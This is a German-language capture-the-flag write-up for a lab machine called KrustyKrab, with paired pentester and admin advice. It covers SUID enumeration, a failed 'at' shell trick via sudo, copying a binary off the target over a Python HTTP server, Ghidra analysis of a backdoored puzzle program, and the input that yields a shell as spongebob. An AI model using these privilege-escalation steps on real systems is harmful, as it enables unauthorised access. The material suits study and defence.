Empfehlung (Admin): - Wenn möglich, erzwingen Sie die Verwendung von SSH-Schlüsseln ohne Passphrasen nur in sehr sicheren Umgebungen oder mit Hardware-Tokens. Passphrasen-geschützte Schlüssel bieten eine zusätzliche Sicherheitsebene, falls der private Schlüssel kompromittiert wird. - Überwachen Sie SSH-Logins, auch erfolgreiche, auf ungewöhnliche Quell-IPs oder Benutzer.

KrustyKrab@KrustyKrab:~$ find / -type f -perm -4000 -ls 2>/dev/null
   407867     52 -rwsr-xr--   1 root     messagebus    51272 Feb  8  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   410082    640 -rwsr-xr-x   1 root     root         653888 Feb  8  2023 /usr/lib/openssh/ssh-keysign
   391806     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
   395239     36 -rwsr-xr-x   1 root     root          35128 Mar 23  2023 /usr/bin/umount
   391808     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
   391805     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
   396009     72 -rwsr-xr-x   1 root     root          72000 Mar 23  2023 /usr/bin/su
   392250     60 -rwsr-sr-x   1 daemon   daemon        59768 Oct 15  2022 /usr/bin/at
   395425     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
   401235    276 -rwsr-xr-x   1 root     root         281624 Mar  8  2023 /usr/bin/sudo
   395238     60 -rwsr-xr-x   1 root     root          59704 Mar 23  2023 /usr/bin/mount
   391809     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
   430071   1384 -rwsr-xr-x   1 root     root        1414168 Sep 28  2024 /usr/sbin/exim4
        

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird verwendet, um nach Dateien mit gesetztem SUID-Bit (Set User ID) im gesamten Dateisystem zu suchen. - `find /`: Sucht ab dem Root-Verzeichnis. - `-type f`: Sucht nur nach regulären Dateien. - `-perm -4000`: Sucht nach Dateien, bei denen das SUID-Bit gesetzt ist (Oktal 4000). Wenn eine solche Datei ausgeführt wird, läuft sie mit den Rechten des Dateibesitzers, nicht des ausführenden Benutzers. - `-ls`: Zeigt detaillierte Informationen zu den gefundenen Dateien im `ls -dils`-Format an. - `2>/dev/null`: Leitet Fehlermeldungen (wie "Permission denied" beim Zugriff auf bestimmte Verzeichnisse) nach `/dev/null`, um die Ausgabe sauber zu halten. Die Ausgabe listet mehrere SUID-Binaries auf, die meisten davon sind Standard-Systemdateien, die SUID-root benötigen, um ihre Funktion zu erfüllen (z.B. `passwd`, `su`, `sudo`, `mount`, `umount`). `/usr/bin/at` hat SUID `daemon`. `/usr/sbin/exim4` ist ein Mail Transfer Agent.

Bewertung: SUID-Binaries sind ein häufiger Vektor für Privilege Escalation, wenn sie Schwachstellen enthalten oder unsicher konfiguriert sind. Die meisten der hier gelisteten Dateien sind Standard und wurden wahrscheinlich schon oft auf Schwachstellen untersucht. Nicht-standardmäßige SUID-Dateien oder ungewöhnliche Versionen von Standarddateien wären besonders interessant. Auf den ersten Blick sind hier keine offensichtlich ungewöhnlichen oder veralteten SUID-Binaries zu sehen, die sofort Alarm auslösen.

Empfehlung (Pentester): 1. Vergleichen Sie die Liste der gefundenen SUID-Binaries und deren Versionen ( ############################################################################################## ... mit bekannten Exploits (wieder GTFOBins, Exploit-DB). 2. Achten Sie besonders auf weniger verbreitete SUID-Dateien oder solche in ungewöhnlichen Pfaden, da diese eher Custom-Binaries mit potenziellen Schwachstellen sein könnten. /usr/sbin/exim4 (ein Mailserver) kann manchmal für Privilege Escalation missbraucht werden, wenn er veraltet ist oder Fehlkonfigurationen aufweist. /usr/bin/at (führt Befehle zu einem späteren Zeitpunkt aus) ist ebenfalls ein bekannter Kandidat, wenn er falsch konfiguriert ist oder im Kontext eines angreifbaren Benutzers (hier daemon) läuft.
Empfehlung (Admin): Reduzieren Sie die Anzahl der SUID-Binaries auf das absolute Minimum. Wenn ein Binary nicht unbedingt SUID-Rechte benötigt, entfernen Sie das Bit (chmod u-s /pfad/zur/datei). Halten Sie alle Systemkomponenten, insbesondere solche, die mit SUID-Rechten laufen, stets aktuell, um bekannte Schwachstellen zu vermeiden. Überwachen Sie die Integrität von SUID-Dateien (z.B. mit Tripwire oder AIDE), um unautorisierte Änderungen oder neu hinzugefügte SUID-Dateien zu erkennen.

KrustyKrab@KrustyKrab:~$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo -u spongebob at now; tail -f /dev/null
[sudo] password for KrustyKrab:
Sorry, try again.
[sudo] password for KrustyKrab:
Sorry, try again.
[sudo] password for KrustyKrab:
sudo: 2 incorrect password attempts
^C

Analyse: Der Pentester versucht, den `at`-Befehl zu nutzen, um eine Shell als Benutzer `spongebob` zu erhalten. `at` wird verwendet, um Befehle zu einem späteren Zeitpunkt auszuführen. Hier wird `now` verwendet, was bedeutet, dass der Befehl sofort ausgeführt werden soll. - `echo "/bin/sh <$(tty) >$(tty) 2>$(tty)"`: Dieser Befehl soll eine interaktive Shell starten, die ihre Ein- und Ausgabe mit dem aktuellen Terminal (`tty`) des Benutzers `KrustyKrab` verbindet. - `| sudo -u spongebob at now`: Die Ausgabe von `echo` (der Shell-Befehl) wird an `sudo -u spongebob at now` weitergeleitet. Dies soll den Befehl `/bin/sh ...` im Kontext von `spongebob` durch den `at`-Dienst planen und ausführen. - `tail -f /dev/null`: Dieser Teil wird nach dem `at`-Befehl ausgeführt und dient dazu, die aktuelle Shell offen zu halten, damit die `at`-Shell (falls sie startet) ein TTY hat, mit dem sie sich verbinden kann. Der Versuch schlägt fehl, da sudo nach dem Passwort für KrustyKrab fragt, um den at-Befehl als spongebob auszuführen. Der Benutzer KrustyKrab ist zwar in der sudo-Gruppe, aber der spezifische sudo-Eintrag erlaubt ihm nur /usr/bin/ttteeesssttt als spongebob ohne Passwort. Für at als spongebob hat er keine NOPASSWD-Regel. Da der Pentester das Passwort für KrustyKrab nicht kennt (oder die eingegebenen Passwörter falsch sind), schlägt der sudo-Aufruf fehl.

Bewertung: Dieser Eskalationsversuch über `at` war nicht erfolgreich, da die `sudo`-Regel dies nicht abdeckt und das Passwort für `KrustyKrab` fehlt. Die Idee, `at` für Privilege Escalation zu verwenden, ist an sich valide, wenn `at` selbst oder die Art, wie Jobs geplant werden, Schwachstellen aufweist oder wenn ein Benutzer `at` mit den Rechten eines anderen Benutzers ausführen darf und die Eingabe kontrollieren kann. Hier scheitert es an den `sudo`-Berechtigungen.

Empfehlung (Pentester): 1. Dieser Weg ist blockiert, solange das Passwort für `KrustyKrab` nicht bekannt ist oder eine andere `sudo`-Regel existiert. 2. Konzentrieren Sie sich auf die Analyse des Binaries `/usr/bin/ttteeesssttt`, da dies der `NOPASSWD`-Eintrag für `KrustyKrab` zu `spongebob` ist.
Empfehlung (Admin): - Die `sudoers`-Konfiguration ist hier korrekt restriktiv für den `at`-Befehl. - Überprüfen Sie, ob Benutzer `at` überhaupt verwenden müssen. Wenn nicht, könnte der Zugriff auf `at` weiter eingeschränkt oder der Dienst `atd` deaktiviert werden. - Generell sollten `sudo`-Regeln so spezifisch wie möglich sein.

KrustyKrab@KrustyKrab:/usr/bin$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [27/Apr/2025 08:26:43] "GET /ttteeesssttt HTTP/1.1" 200 - 
┌──(root㉿CCat)-[~] └─# wget http://192.168.2.185:8000/ttteeesssttt
--2025-04-27 15:26:41-- http://192.168.2.185:8000/ttteeesssttt
Verbindungsaufbau zu 192.168.2.185:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 16560 (16K) [application/octet-stream]
Wird in »ttteeesssttt.1« gespeichert.
ttteeesssttt.1 100%[=============================>] 16,17K --.-KB/s in 0s
2025-04-27 15:26:41 (1,14 GB/s) - »ttteeesssttt.1« gespeichert [16560/16560]

Analyse: Um das verdächtige Binary `/usr/bin/ttteeesssttt` genauer zu untersuchen, wird es vom Zielserver auf das Angreifersystem heruntergeladen. 1. **Auf dem Zielserver (KrustyKrab):** - `cd /usr/bin`: Wechselt in das Verzeichnis, in dem sich die Datei befindet. - `python3 -m http.server 8000`: Startet einen einfachen Python-HTTP-Server auf Port `8000`, der die Dateien im aktuellen Verzeichnis (`/usr/bin`) bereitstellt. - Die Logzeile `192.168.2.199 - - [...] "GET /ttteeesssttt HTTP/1.1" 200 -` bestätigt den erfolgreichen Download durch das Angreifersystem. 2. **Auf dem Angreifersystem (CCat):** - `wget http://192.168.2.185:8000/ttteeesssttt`: Lädt die Datei vom Python-HTTP-Server des Zielsystems herunter. Die IP-Adresse `192.168.2.185` wird hier für das Zielsystem verwendet. - Die Datei wird als `ttteeesssttt.1` gespeichert, da wahrscheinlich schon eine Datei `ttteeesssttt` im aktuellen Verzeichnis des Angreifers existierte.

Bewertung: Dies ist eine Standardmethode, um Dateien von einem kompromittierten System zu exfiltrieren, wenn direkte Methoden wie SCP nicht sofort verfügbar sind oder eingerichtet werden sollen. Der Python-HTTP-Server ist schnell gestartet und `wget` ist auf den meisten Linux-Systemen vorhanden. Die Dateiübertragung war erfolgreich.

Empfehlung (Pentester): Analysieren Sie nun die heruntergeladene Datei `ttteeesssttt.1` auf Ihrem Angreifersystem mit Reverse-Engineering-Tools (Ghidra, IDA, radare2, etc.), um ihre Funktionsweise und mögliche Schwachstellen zu verstehen, insbesondere im Hinblick auf die Ausführung als `spongebob` über `sudo`.
Empfehlung (Admin): - Überwachen Sie das Starten von Netzwerkdiensten (wie Python HTTP-Server) auf ungewöhnlichen Ports oder durch unprivilegierte Benutzer. - Beschränken Sie die Möglichkeit, beliebige Programme auszuführen oder Netzwerkdienste zu starten, für Benutzer mit geringen Rechten (z.B. `www-data`, aber auch `KrustyKrab`, wenn er nicht explizit Server starten soll). - Ausgehende Verbindungen zu HTTP-Ports von Servern könnten ein Indikator für Datenexfiltration sein, obwohl dies schwer von legitimem Traffic zu unterscheiden ist.

KrustyKrab@KrustyKrab:/usr/bin$ ./ttteeesssttt --h
Spongebob forgot how to make Krabby Patty, You need to help him!
Current shuffled recipe order:
A: Onion
B: Lettuce
C: Tomato
D: Cheese
E: Patty
F: Top bun
G: Ketchup
H: Mustard
I: Bottom bun
J: Pickles
Please enter the correct order using letters (e.g., ABCDEFGHIJ):
Enter 10 letters (A-J): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Validation failed! This is not the correct recipe!

Analyse: Der Pentester führt das Programm `/usr/bin/ttteeesssttt` (oder `./ttteeesssttt`, da er sich im Verzeichnis `/usr/bin` befindet) mit der Option `--h` (wahrscheinlich für "help" oder als Testeingabe) aus. Das Programm gibt eine Art Spiel oder Rätsel aus: "Spongebob forgot how to make Krabby Patty, You need to help him!" Es listet eine zufällig gemischte Reihenfolge von Zutaten (A-J) auf und fordert den Benutzer auf, die korrekte Reihenfolge der 10 Buchstaben einzugeben. Der Pentester gibt eine sehr lange Zeichenkette von 'A's ein. Das Programm antwortet mit "Validation failed! This is not the correct recipe!".

Bewertung: Das Programm scheint ein kleines textbasiertes Spiel zu sein. Die lange Eingabe von 'A's war ein einfacher Test auf Pufferüberläufe oder andere Abstürze durch übergroße Eingaben, der hier aber nicht erfolgreich war (das Programm hat die Eingabe anscheinend korrekt behandelt oder abgeschnitten). Die Herausforderung besteht darin, die "korrekte" Reihenfolge der Zutaten herauszufinden. Da dieses Programm mit `sudo -u spongebob` ausgeführt werden kann, könnte eine erfolgreiche Lösung des Rätsels zu einer Shell oder einer anderen privilegierten Aktion als `spongebob` führen.

Empfehlung (Pentester): 1. Die Hauptaufgabe ist nun, die Logik dieses Programms durch Reverse Engineering (mit Ghidra auf der heruntergeladenen Datei) zu verstehen. - Wie wird die "korrekte" Reihenfolge bestimmt? Ist sie fest codiert? Basiert sie auf einem Algorithmus? - Was passiert, wenn die korrekte Reihenfolge eingegeben wird? Wird ein Befehl ausgeführt? Wird eine Shell gestartet? 2. Experimentieren Sie mit verschiedenen Eingaben (korrekte Länge, erlaubte Zeichen A-J), um das Verhalten besser zu verstehen.
Empfehlung (Admin): Benutzerdefinierte SUID-Programme (oder Programme, die mit `sudo` ausgeführt werden können) sind immer ein hohes Risiko, wenn sie nicht sorgfältig entwickelt und geprüft werden. - Wenn dieses Programm für einen legitimen Zweck existiert, stellen Sie sicher, dass es keine versteckten Funktionen oder Schwachstellen enthält, die zur Rechteerweiterung missbraucht werden können. - Der Code sollte auf gängige Schwachstellen wie Pufferüberläufe, Format-String-Bugs, Command Injection etc. überprüft werden.

KrustyKrab@KrustyKrab:/usr/bin$ ./ttteeesssttt --h
Spongebob forgot how to make Krabby Patty, You need to help him!
Current shuffled recipe order:
A: Top bun
B: Pickles
C: Bottom bun
D: Mustard
E: Tomato
F: Onion
G: Lettuce
H: Cheese
I: Ketchup
J: Patty
Please enter the correct order using letters (e.g., ABCDEFGHIJ):
Enter 10 letters (A-J): id
Error: You must enter exactly 10 letters!
Enter 10 letters (A-J): id | ls
Error: You must enter exactly 10 letters!
Enter 10 letters (A-J): ls${IFS}/root
Error: Contains invalid characters! Use only A-J.
Enter 10 letters (A-J): journalctl
Error: Contains invalid characters! Use only A-J.
Enter 10 letters (A-J): journalctl 
Error: Contains invalid characters! Use only A-J.
Enter 10 letters (A-J): journalctl
Error: Contains invalid characters! Use only A-J.
Enter 10 letters (A-J):

Analyse: Weitere Versuche, das `ttteeesssttt`-Programm mit verschiedenen Eingaben zu testen: - Die Option `--h` wird wieder verwendet (es ist unklar, ob dies eine spezielle Funktion hat oder einfach Teil der Eingabeaufforderung ist). - Die angezeigte "shuffled recipe order" ist bei jedem Aufruf anders, was darauf hindeutet, dass die Reihenfolge zufällig generiert wird. - Eingabe `id`: Fehler, da nicht 10 Buchstaben lang. - Eingabe `id | ls`: Fehler, da nicht 10 Buchstaben lang und enthält ungültige Zeichen (`|`, Leerzeichen). - Eingabe `ls${IFS}/root`: Fehler, da ungültige Zeichen (`l`, `s`, `$`, `{`, `I`, `F`, `S`, `}`, `/`, `r`, `o`, `t`). Das Programm erwartet nur A-J. `${IFS}` ist eine Shell-Technik, um Leerzeichen zu umgehen. - Eingabe `journalctl` (mehrmals): Fehler, da ungültige Zeichen. Das Programm scheint die Eingabe auf Länge (genau 10 Zeichen) und auf erlaubte Zeichen (nur A-J) zu validieren.

Bewertung: Diese Tests zeigen, dass eine einfache Command Injection über die Eingabezeile wahrscheinlich nicht möglich ist, da das Programm die Eingabe validiert. Der Fokus muss weiterhin auf dem Verständnis der internen Logik des Programms durch Reverse Engineering liegen, um die korrekte Zeichenfolge "A-J" zu finden, die zur erfolgreichen Validierung führt.

Empfehlung (Pentester): Setzen Sie die Reverse-Engineering-Analyse mit Ghidra fort. Suchen Sie nach: - Der Funktion, die die Benutzereingabe validiert. - Der Funktion, die die "korrekte" Reihenfolge bestimmt oder speichert. - Dem Codeblock, der ausgeführt wird, wenn die Validierung erfolgreich ist.
Empfehlung (Admin): Die Eingabevalidierung ist ein guter erster Schritt, aber sie garantiert nicht die Sicherheit des Programms. Wenn die Logik des Programms selbst eine Schwachstelle hat oder eine Hintertür enthält, kann diese trotz Validierung ausgenutzt werden. Eine gründliche Code-Prüfung ist bei solchen Programmen unerlässlich.

┌──(root㉿CCat)-[~/test] └─# ghidra
undefined8 main(void)
{
int iVar1;
time_t tVar2;
size_t sVar3;
char *pcVar4;
char local_63 [11];
int local_58 [12];
int local_28;
int local_24;
int local_20;
int local_1c;
int local_18;
int local_14;
int local_10;
int local_c;
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
for (local_c = 0; local_c < 10; local_c = local_c + 1) {
local_58[local_c] = local_c;
}
shuffle(local_58,10);
puts("\nSpongebob forgot how to make Krabby Patty, You need to help him!");
puts("\nCurrent shuffled recipe order:");
for (local_10 = 0; local_10 < 10; local_10 = local_10 + 1) {
printf("%c: %s\n",(ulong)(uint)(int)"ABCDEFGHIJ"[local_10],
*(undefined8 *)(ingredients + (long)local_58[local_10] * 8));
}
puts("\nPlease enter the correct order using letters (e.g., ABCDEFGHIJ):");
do {
while( true ) {
printf("Enter 10 letters (A-J): ");
__isoc99_scanf(&DAT_00102133,local_63); // Reads user input into local_63
do {
iVar1 = getchar(); // Clears stdin buffer
} while (iVar1 != 10);
sVar3 = strlen(local_63); // Checks length of input
if (sVar3 == 10) break;
puts("Error: You must enter exactly 10 letters!");
}
local_14 = 1; // Flag for valid characters
for (local_18 = 0; local_18 < 10; local_18 = local_18 + 1) {
if ((local_63[local_18] < 'A') || ('J' < local_63[local_18])) { // Checks if chars are A-J
local_14 = 0;
break;
}
}
if (local_14 != 0) break;
puts("Error: Contains invalid characters! Use only A-J.");
} while( true );
local_1c = 1; // Flag for successful validation
local_20 = 0; // Counter for correct ingredient order
do {
if (9 < local_20) { // All 10 ingredients checked
LAB_00101450:
if (local_1c == 0) { // Validation failed
pcVar4 = "Validation failed! This is not the correct recipe!";
}
else { // Validation successful
pcVar4 = "Validation successful! Perfect Krabby Patty!";
}
printf("\n%s\n",pcVar4);
if (local_1c != 0) { // If validation was successful
system("/bin/bash -p"); // EXECUTES A BASH SHELL!
}
return 0;
}
local_24 = -1; // Index of user's char in "ABCDEFGHIJ"
// Map user's input character (e.g., 'A') to its numeric position in the shuffled list
for (local_28 = 0; local_28 < 10; local_28 = local_28 + 1) {
if ("ABCDEFGHIJ"[local_28] == local_63[local_20]) {
local_24 = local_28; // local_24 is the index of the letter in "ABCDEFGHIJ" (e.g. A=0, B=1)
break;
}
}
// local_58 contains the shuffled ingredient indices (0-9 for the original recipe)
// local_58[local_24] is the original ingredient index that corresponds to the user's input letter.
// This is compared with local_20, which is the current position in the correct recipe order.
if ((local_24 == -1) || (local_20 != local_58[local_24])) {
local_1c = 0; // Validation failed
goto LAB_00101450;
}
local_20 = local_20 + 1; // Next ingredient in correct order
} while( true );
}

Analyse: Der Pentester hat die heruntergeladene Datei `ttteeesssttt` mit Ghidra (einem Reverse-Engineering-Tool) analysiert und den dekompilierten C-Code der `main`-Funktion extrahiert. Der Code wurde hier mit Kommentaren versehen, um die Logik zu erklären. Wichtige Erkenntnisse aus dem Code: Initialisierung: srand(time(0)) initialisiert den Zufallszahlengenerator. Ein Array local_58 wird mit Zahlen von 0 bis 9 gefüllt und dann mit einer shuffle-Funktion gemischt. Dieses local_58-Array repräsentiert die zufällig angezeigte Reihenfolge der Zutaten. Zutatenanzeige: Die ingredients (ein Array von Strings, hier nicht im Detail gezeigt, aber es existiert) werden basierend auf dem local_58-Array und den Buchstaben A-J ausgegeben. local_58[i] gibt den Index der Zutat in der ursprünglichen, korrekten Reihenfolge an, die dem Buchstaben ABCDEFGHIJ[i] zugeordnet wird. Eingabevalidierung: Die Benutzereingabe (local_63) wird auf Länge 10 und auf die Zeichen A-J geprüft. Validierungslogik (entscheidend): Die äußere do-while-Schleife iteriert über die 10 Positionen der erwarteten korrekten Reihenfolge (gesteuert von local_20, das von 0 bis 9 läuft). Für jede Position local_20 nimmt es das local_20-te Zeichen der Benutzereingabe local_63[local_20]. Es findet heraus, welchem Buchstaben (A-J) dieses Zeichen entspricht und speichert dessen Index (0-9) in local_24. Z.B. wenn der Benutzer an Position local_20 ein 'A' eingegeben hat, ist local_24 = 0. Dann prüft es, ob local_20 (die aktuelle Position in der korrekten, festen Rezepturreihenfolge) gleich local_58[local_24] ist. local_58[local_24] ist der Index der Zutat (in der ursprünglichen, korrekten Reihenfolge), die dem vom Benutzer an dieser Stelle eingegebenen Buchstaben (z.B. 'A') in der aktuell angezeigten, gemischten Liste entspricht. Wenn diese Bedingung für alle 10 Positionen zutrifft (local_20 == local_58[local_24]), ist die Validierung erfolgreich (local_1c bleibt 1). Erfolgsfall: Wenn local_1c am Ende 1 ist (Validierung erfolgreich), wird system("/bin/bash -p"); ausgeführt. Dies startet eine Bash-Shell mit beibehaltenen Privilegien (da ttteeesssttt mit sudo -u spongebob ausgeführt wird, startet dies eine Bash-Shell als Benutzer spongebob).

Bewertung: Das Reverse Engineering war extrem erfolgreich! Die Logik des Programms ist nun klar, und der kritische Teil `system("/bin/bash -p");` wurde identifiziert. Die Herausforderung besteht darin, die Validierungslogik korrekt zu interpretieren, um die richtige Eingabezeichenfolge zu konstruieren. Die Validierung `local_20 == local_58[local_24]` bedeutet: - `local_20`: Der Index der Zutat in der *erwarteten, korrekten, internen* Reihenfolge (0 = erste korrekte Zutat, 1 = zweite korrekte Zutat, usw.). - `local_24`: Der Index des Buchstabens (A=0, B=1, ...), den der Benutzer für die `local_20`-te Position seiner Eingabe gewählt hat. - `local_58[local_24]`: Der Index der Zutat (in der *erwarteten, korrekten, internen* Reihenfolge), die in der aktuell angezeigten, gemischten Liste unter dem Buchstaben `local_24` steht. Damit die Validierung erfolgreich ist, muss für jede Position i (von 0 bis 9) der Benutzereingabe gelten: Die Zutat, die in der gemischten Liste dem i-ten eingegebenen Buchstaben entspricht, muss die i-te Zutat des festen, korrekten Rezepts sein. Mit anderen Worten: Der Benutzer muss die Buchstaben so wählen, dass sie die Zutaten in der festen, internen Reihenfolge auswählen, wie sie im ingredients-Array definiert ist.

Empfehlung (Pentester): 1. Finden Sie die Definition des `ingredients`-Arrays in Ghidra. Dies gibt die feste, korrekte Reihenfolge der 10 Zutaten vor (Index 0 bis 9). 2. Wenn das Programm `/usr/bin/ttteeesssttt` ausgeführt wird, notieren Sie sich die aktuell angezeigte "shuffled recipe order" (z.B. A: ZutatX, B: ZutatY, ...). 3. Für jede Zutat in der *korrekten, internen* Reihenfolge (aus dem `ingredients`-Array, z.B. Zutat an Index 0, dann Zutat an Index 1, etc.): a. Finden Sie heraus, welchem Buchstaben (A-J) diese Zutat in der *aktuell angezeigten, gemischten* Liste entspricht. b. Dieser Buchstabe ist das nächste Zeichen Ihrer korrekten Eingabe. 4. Konstruieren Sie die 10-Buchstaben-Zeichenfolge und geben Sie sie ein, wenn Sie das Programm mit `sudo -u spongebob /usr/bin/ttteeesssttt` ausführen. Dies sollte eine Shell als `spongebob` ergeben.
Empfehlung (Admin): - Das Programm enthält eine klare Hintertür (`system("/bin/bash -p");`), die bei korrekter Eingabe eine Shell startet. Dies ist eine schwere Sicherheitslücke, insbesondere da das Programm per `sudo` ausgeführt werden kann. - Entfernen Sie dieses Programm oder die `sudo`-Regel dafür sofort. - Wenn das Programm einen legitimen Zweck haben soll (z.B. ein Spiel), darf es unter keinen Umständen eine Shell starten oder andere privilegierte Aktionen ausführen, wenn es mit erhöhten Rechten läuft. - Der Quellcode solcher Programme muss extrem sorgfältig geprüft werden.

KrustyKrab@KrustyKrab:/usr/bin$ sudo -u spongebob /usr/bin/ttteeesssttt
Spongebob forgot how to make Krabby Patty, You need to help him!
Current shuffled recipe order:
A: Onion
B: Lettuce
C: Pickles
D: Cheese
E: Tomato
F: Bottom bun
G: Patty
H: Top bun
I: Ketchup
J: Mustard
Please enter the correct order using letters (e.g., ABCDEFGHIJ):
Enter 10 letters (A-J):

Analyse: Der Pentester führt das Programm `ttteeesssttt` erneut aus, diesmal explizit mit `sudo -u spongebob`. Das ist der Kontext, in dem eine erfolgreiche Lösung des Rätsels zu einer Shell als `spongebob` führen würde. Das Programm zeigt eine neue "shuffled recipe order" an. Der Pentester ist nun bereit, die korrekte 10-Buchstaben-Sequenz einzugeben, basierend auf der Analyse des Ghidra-Codes und der (noch zu findenden) internen Zutatenliste.

Bewertung: Dies ist der Vorbereitungsschritt für den finalen Exploit dieses spezifischen Privilege-Escalation-Pfades. Alles hängt nun davon ab, die korrekte, feste Reihenfolge der Zutaten zu kennen und sie auf die aktuell angezeigte, gemischte Liste zu mappen.

Empfehlung (Pentester): Der nächste Schritt im Originalbericht zeigt die interne Zutatenliste aus Ghidra. Diese Information ist entscheidend.
Empfehlung (Admin): Zu diesem Zeitpunkt ist die Schwachstelle bereits identifiziert. Die Empfehlungen bleiben dieselben wie bei der Ghidra-Analyse: Programm entfernen oder Sudo-Regel entfernen.

Der nächste Abschnitt im Originalbericht beschreibt das Auffinden der internen `ingredients`-Liste im Ghidra-Output. Die Beschreibung lautet: "ingredients : hier kommt ein bild über die ingredients suche rein wie wir die tabelle der ghidra search laden und anzeigen... Ghidra Screenshot: Interne Zutatenliste (ingredients) im Speicher Diese Liste zeigt die Reihenfolge, in der die Zutat-Strings im Speicher definiert sind. Das ist die wahre "korrekte" Reihenfolge (Index 0-9), die das Programm für die Validierung verwendet: Bottom bun (an Adresse 00102008), Patty (an Adresse 00102013), Lettuce (an Adresse 00102019), Cheese (an Adresse 00102021), Onion (an Adresse 00102028), Tomato (an Adresse 0010202e), Ketchup (an Adresse 00102035), Mustard (an Adresse 0010203d), Pickles (an Adresse 00102045), Top bun (an Adresse 0010204d) "

Bewertung: Die Beschreibung aus dem Originalbericht liefert die entscheidende Information: die interne, korrekte Reihenfolge der Krabby Patty Zutaten, wie sie im `ingredients`-Array des Programms definiert ist: 1. Bottom bun (Index 0) 2. Patty (Index 1) 3. Lettuce (Index 2) 4. Cheese (Index 3) 5. Onion (Index 4) 6. Tomato (Index 5) 7. Ketchup (Index 6) 8. Mustard (Index 7) 9. Pickles (Index 8) 10. Top bun (Index 9) Diese feste Reihenfolge muss nun auf die zufällig angezeigten Buchstaben A-J gemappt werden, um die korrekte Eingabe zu ermitteln.

Der nächste Abschnitt im Originalbericht lautet: "wenn wir etwas runterscrollen sehen wir dann die Zutatenliste des Tools, und die Adressenposition derer: Ghidra Screenshot: Interne Zutatenliste (ingredients) im Speicher Jetzt nehmen wir die Zuordnung aus deiner aktuellen (letzten) Runde: A: Tomato, B: Lettuce, C: Mustard, D: Onion, E: Cheese, F: Patty, G: Bottom bun, H: Ketchup, I: Pickles, J: Top bun. Und wir mappen die Definitionsreihenfolge auf die aktuellen Buchstaben: 0 (Bottom bun): Ist aktuell Buchstabe G, 1 (Patty): Ist aktuell Buchstabe F, 2 (Lettuce): Ist aktuell Buchstabe B, 3 (Cheese): Ist aktuell Buchstabe E, 4 (Onion): Ist aktuell Buchstabe D, 5 (Tomato): Ist aktuell Buchstabe A, 6 (Ketchup): Ist aktuell Buchstabe H, 7 (Mustard): Ist aktuell Buchstabe C, 8 (Pickles): Ist aktuell Buchstabe I, 9 (Top bun): Ist aktuell Buchstabe J. Die endlich korrekte Eingabe lautet: GFBEDAHCIJ

Bewertung: Die Beschreibung erklärt den Mapping-Prozess perfekt. **Feste korrekte Reihenfolge (intern, Index 0-9):** 0. Bottom bun 1. Patty 2. Lettuce 3. Cheese 4. Onion 5. Tomato 6. Ketchup 7. Mustard 8. Pickles 9. Top bun Zufällig angezeigte "shuffled recipe order" (aus dem vorherigen ttteeesssttt-Aufruf, den der Pentester für dieses Mapping verwendet): A: Tomato B: Lettuce C: Mustard D: Onion E: Cheese F: Patty G: Bottom bun H: Ketchup I: Pickles J: Top bun Mapping-Prozess zur Ermittlung der korrekten Eingabe: korrekte Zutat ist "Bottom bun". In der aktuellen Anzeige ist "Bottom bun" Buchstabe G. korrekte Zutat ist "Patty". In der aktuellen Anzeige ist "Patty" Buchstabe F. korrekte Zutat ist "Lettuce". In der aktuellen Anzeige ist "Lettuce" Buchstabe B. korrekte Zutat ist "Cheese". In der aktuellen Anzeige ist "Cheese" Buchstabe E. korrekte Zutat ist "Onion". In der aktuellen Anzeige ist "Onion" Buchstabe D. korrekte Zutat ist "Tomato". In der aktuellen Anzeige ist "Tomato" Buchstabe A. korrekte Zutat ist "Ketchup". In der aktuellen Anzeige ist "Ketchup" Buchstabe H. korrekte Zutat ist "Mustard". In der aktuellen Anzeige ist "Mustard" Buchstabe C. korrekte Zutat ist "Pickles". In der aktuellen Anzeige ist "Pickles" Buchstabe I. korrekte Zutat ist "Top bun". In der aktuellen Anzeige ist "Top bun" Buchstabe J. Somit lautet die korrekte Eingabesequenz für diesen spezifischen Shuffle: GFBEDAHCIJ.

Empfehlung (Pentester): Führen Sie `sudo -u spongebob /usr/bin/ttteeesssttt` aus. Wenn die angezeigte "shuffled recipe order" genau der oben für das Mapping verwendeten entspricht, geben Sie `GFBEDAHCIJ` ein. Wenn sich die "shuffled recipe order" geändert hat (was wahrscheinlich ist, da sie zufällig ist), muss das Mapping mit der *neuen* angezeigten Reihenfolge erneut durchgeführt werden.
Empfehlung (Admin): Die Logik zur Kompromittierung ist nun vollständig offengelegt. Das Programm ist definitiv eine Backdoor.

KrustyKrab@KrustyKrab:/usr/bin$ sudo -u spongebob /usr/bin/ttteeesssttt
Spongebob forgot how to make Krabby Patty, You need to help him!
Current shuffled recipe order:
A: Tomato
B: Lettuce
C: Mustard
D: Onion
E: Cheese
F: Patty
G: Bottom bun
H: Ketchup
I: Pickles
J: Top bun
Please enter the correct order using letters (e.g., ABCDEFGHIJ):
Enter 10 letters (A-J): GFBEDAHCIJ
Validation successful! Perfect Krabby Patty!
spongebob@KrustyKrab:/usr/bin$

